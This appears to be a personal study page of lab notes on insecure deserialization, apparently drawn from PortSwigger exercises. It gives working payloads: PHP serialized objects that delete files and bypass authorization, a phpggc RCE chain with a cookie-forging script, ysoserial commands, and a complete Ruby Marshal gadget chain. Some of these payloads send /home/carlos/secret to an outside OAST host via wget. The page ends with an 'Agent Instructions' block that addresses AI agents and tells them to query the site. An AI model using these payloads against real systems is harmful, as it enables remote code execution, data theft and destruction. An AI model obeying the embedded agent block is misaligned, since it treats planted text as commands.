# Insecure Desarialization

online debugger:

<https://www.onlinegdb.com/>

1. Try to change object ex. for administrator
2. Insecure deserialization of object - fn that delete file (unlink)

<pre><code>function __destruct() {
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
    
    

<strong>O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
</strong>

</code></pre>

3. set access token to integer, and bypass authorization

`O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}`

{% hint style="info" %}
PHP-based logic is particularly vulnerable to this kind of manipulation due to the behavior of its loose comparison operator (`==`) when comparing different data types. For example, if you perform a loose comparison between an integer and a string, PHP will attempt to convert the string to an integer, meaning that `5 == "5"` evaluates to `true`.

Unusually, this also works for any alphanumeric string that starts with a number. In this case, PHP will effectively convert the entire string to an integer value based on the initial number. The rest of the string is ignored completely. Therefore, `5 == "5 of something"` is in practice treated as `5 == 5`.

This becomes even stranger when comparing a string the integer `0`:

`0 == "Example string" // true`

Why? Because there is no number, that is, 0 numerals in the string. PHP treats this entire string as the integer `0`.

Consider a case where this loose comparison operator is used in conjunction with user-controllable data from a deserialized object. This could potentially result in dangerous [logic flaws](https://portswigger.net/web-security/logic-flaws).

`$login = unserialize($_COOKIE) if ($login['password'] == $password) { // log in successfully }`

Let's say an attacker modified the password attribute so that it contained the integer `0` instead of the expected string. As long as the stored password does not start with a number, the condition would always return `true`, enabling an authentication bypass. Note that this is only possible because deserialization preserves the data type. If the code fetched the password from the request directly, the `0` would be converted to a string and the condition would evaluate to `false`.
{% endhint %}

4. use functionality of the app to delete file

Edit the serialized data so that the `avatar_link` points to `/home/carlos/morale.txt`. Remember to update the length indicator. The modified attribute should look like this:

`s:11:"avatar_link";s:23:"/home/carlos/morale.txt"`

Click "Apply changes". The modified object will automatically be re-encoded and updated in the request.

Change the request line to `POST /my-account/delete` and send the request. Your account will be deleted, along with Carlos's `morale.txt` file.

### phpgcc

<pre><code>php phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
<strong>
</strong><strong>
</strong><strong>&#x3C;?php
</strong>$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
</code></pre>

replace session cookie inside browser

### JAVA Commons&#x20;

```
java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   CommonsCollections4 'rm /home/carlos/morale.txt' | base64
   
   
   
java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 'wget http://OASTIFY.COM --post-file=/home/carlos/secret' | base64 -w 0
```

### ruby&#x20;

<https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html>

```
# Autoload the required classes
require 'base64'
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
//rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
rs.instance_variable_set('@git_set', "wget http://xxx.oastify.com --post-file=/home/carlos/secret")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oscp-7.gitbook.io/bscp-notes/data-exfiltration/insecure-desarialization.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
